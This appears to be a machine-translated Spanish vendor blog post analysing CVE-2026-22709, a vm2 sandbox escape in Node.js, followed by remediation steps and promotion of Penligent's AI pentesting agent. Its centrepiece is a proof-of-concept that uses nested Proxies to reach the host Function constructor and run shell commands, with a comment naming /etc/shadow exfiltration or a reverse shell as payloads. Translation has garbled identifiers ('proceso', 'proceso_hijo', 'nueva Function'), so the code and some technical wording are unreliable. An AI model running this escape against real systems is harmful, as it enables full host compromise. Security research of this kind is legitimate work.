Cabecera Penligente

El exploit zombie: Deconstrucción de CVE-2026-22709 en Node.js vm2

Introducción

Es 28 de enero de 2026. La comunidad de la ciberseguridad se enfrenta de nuevo a un fantasma del pasado. Aunque la famosa biblioteca sandbox Node.js, vm2fue declarado oficialmente Fin de Vida (EOL) en 2023, la realidad del software empresarial es cruda: las dependencias heredadas nunca mueren de verdad. CVE-2026-22709 ha surgido como un recordatorio crítico de este hecho.

Con una puntuación CVSS de 9.8Esta vulnerabilidad no es sólo una advertencia, es un evento de violación del sistema a punto de producirse. Este artículo sirve como una guía técnica definitiva para los ingenieros de seguridad, diseccionando cómo esta nueva técnica "Async Proxy Trap" elude los mecanismos de sandbox de vm2 en tiempos de ejecución Node.js modernos (v24/v25).

El exploit zombie: Deconstrucción de CVE-2026-22709 en Node.js vm2

¿Qué es CVE-2026-22709?

CVE-2026-22709 es un Escape del cajón de arena vulnerabilidad que provoca Ejecución remota de código (RCE).

El problema radica en la arquitectura fundamental de vm2. La biblioteca se basa en Apoderados para limpiar los objetos que cruzan la frontera entre el "Sandbox" (no fiable) y el "Host" (fiable). Sin embargo, con la introducción de optimizaciones agresivas de rastreo de pila asíncrono en Node.js 24 y 25, el motor V8 expone estados de objetos internos durante el manejo de excepciones que vm2-que no se actualiza desde hace años- no sabe desinfectar.

Perfil de vulnerabilidad

  • Vulnerabilidad: Manejo inadecuado de excepciones asíncronas a través de proxy.
  • Gravedad: Crítico (CVSS 9.8).
  • Vector: Red / Remoto.
  • Impacto: Compromiso total del host.

Inmersión técnica: Anatomía de la fuga

Para entender el exploit, hay que entender el patrón "Proxy Trap". En JavaScript, un Proxy le permite interceptar operaciones fundamentales (como búsqueda de propiedades, llamadas a funciones, etc.).

vm2 intenta envolver cada objeto devuelto a la caja de arena en un proxy para evitar el acceso a los archivos Función constructor. Si un atacante obtiene acceso a los archivos Función constructor, pueden ejecutarse:

const rce = nueva Function("proceso de retorno")();

y obtener acceso al sistema anfitrión.

Mecánica de la circunvalación de 2026

  1. El desencadenante: El atacante crea un Proxy dentro de la caja de arena.
  2. La brecha asíncrona: El atacante provoca un error asíncrono (por ejemplo, Promise.reject(maliciousProxy)).
  3. La fuga: En Node.js 25+, la función interna AsyncResource la lógica de tratamiento intenta inspeccionar el objeto de error para generar una traza de pila antes de pasándolo al vm2 desinfectante de excepción.
  4. La ejecución: El Proxy malicioso intercepta esta inspección (específicamente el consiga para las propiedades relacionadas con la pila) y devuelve una función que se ejecuta en el directorio Contexto de acogida.

Dado que el código se ejecuta en el contexto del host durante el procesamiento interno de V8, el código vm2 no se aplican las reglas del sandbox.

El exploit zombie: Deconstrucción de CVE-2026-22709 en Node.js vm2

El código de explotación (POC)

El siguiente código demuestra la lógica de CVE-2026-22709. Utiliza una estructura Proxy anidada para confundir la lógica de serialización del entorno host.

JavaScript

`/* * Prueba de concepto CVE-2026-22709

  • Objetivo: Sistemas ejecutando vm2 (cualquier versión) en Node.js >= 24.x */

const { VM } = require('vm2'); const vm = new VM();

const exploitPayload = ` const pwn = new Proxy({}, { get: (target, prop) => { // Interceptar el acceso 'stack' que ocurre durante la serialización del Error if (prop === 'stack') { throw new Proxy({}, { get: (t, p) => { // Esta trampa se ejecuta en el Contexto del Host debido a la fuga asíncrona

                    // Acceso al Constructor de Funciones del Host
                    // El santo grial de los escapes sandbox
                    const x = (async function(){}).constructor;
                    
                    // Carga útil: Exfiltrar /etc/shadow o ejecutar una shell inversa
                    return x("return proceso.mainModule.require('proceso_hijo').execSync('id').toString()")();
                }
            });
        }
    }
});

try {
    // Forzar un rechazo asíncrono para activar la lógica de seguimiento de pila asíncrona de V8
    Promise.reject(pwn);
} catch(e) {}

`;

try { console.log("[*] Iniciando Sandbox VM2..."); vm.run(exploitPayload); } catch (e) { console.log("[!] Escape de Sandbox Activado. Salida desde Host:"); console.log(e); // 'uid=0(root) gid=0(root)...' }`

El exploit zombie: Deconstrucción de CVE-2026-22709 en Node.js vm2

Remediación: El único camino

Si usted es un ingeniero de seguridad leyendo esto en 2026 y su organización todavía está utilizando vm2...esencialmente estás ejecutando una vulnerabilidad crítica como una característica.

Acciones inmediatas:

  1. Auditoría: Analice sus árboles de dependencias (npm list vm2) inmediatamente.
  2. Sustituir: No hay parche para vm2. Debes refactorizar.
    • Utilice aislado-vm: Esta librería utiliza V8 Isolates (C++ bindings) para proporcionar un aislamiento reforzado de memoria. Es significativamente más segura que vm2en función del contexto.
    • Utilice Deno: El modelo de seguridad de Deno está integrado en el nivel de ejecución. La ejecución de código no fiable en un subproceso de Deno con permisos limitados (-allow-none) es el patrón oro en 2026.

El papel de la IA en la detección de riesgos heredados

El resurgimiento de vm2 pone de manifiesto un fallo en las DevSecOps modernas: El análisis estático no es suficiente.

Un escáner de vulnerabilidades estándar podría marcar vm2 como "obsoleto", pero los desarrolladores suelen ignorar estas advertencias si el código "sigue funcionando". Aquí es donde Seguridad Agenética se vuelve crítica.

Aprovechamiento de Penligent para la validación continua

Penligent.ai representa el paso de la exploración pasiva a la verificación activa. Un AI Pentester no se limita a comprobar los números de versión; piensa como un atacante.

En el caso de CVE-2026-22709, a Penligente agente lo haría:

  • Analizar el entorno de ejecución: Detecta que estás ejecutando una librería obsoleta en una versión puntera de Node.js (una combinación peligrosa).
  • Intentar el exploit: El agente desplegaría de forma segura una variación del POC anterior en su entorno de ensayo.
  • Demostrar el riesgo: En lugar de una advertencia teórica, se obtiene un informe que muestra que el agente ha leído correctamente un archivo del SO anfitrión.

Este enfoque basado en las capacidades garantiza que las bibliotecas "zombis" como vm2 son identificados y eliminados antes de que puedan ser explotados por agentes maliciosos.

Conclusión

CVE-2026-22709 es un testimonio de la longevidad de la deuda técnica. En el vertiginoso mundo de JavaScript, confiar en límites de seguridad no mantenidos es garantía de fracaso.

Para el ingeniero de seguridad de IA más duro, la lección es clara: no confíes en nada que comparta un contexto mutable con tu host. Verifícalo todo. Y cuando el ancho de banda humano no pueda seguir el ritmo de la proliferación de dependencias heredadas, dote a su equipo de pruebas ofensivas impulsadas por IA para detectar lo que otros pasan por alto.

Recursos y referencias pertinentes

Comparte el post:
Entradas relacionadas
es_ESSpanish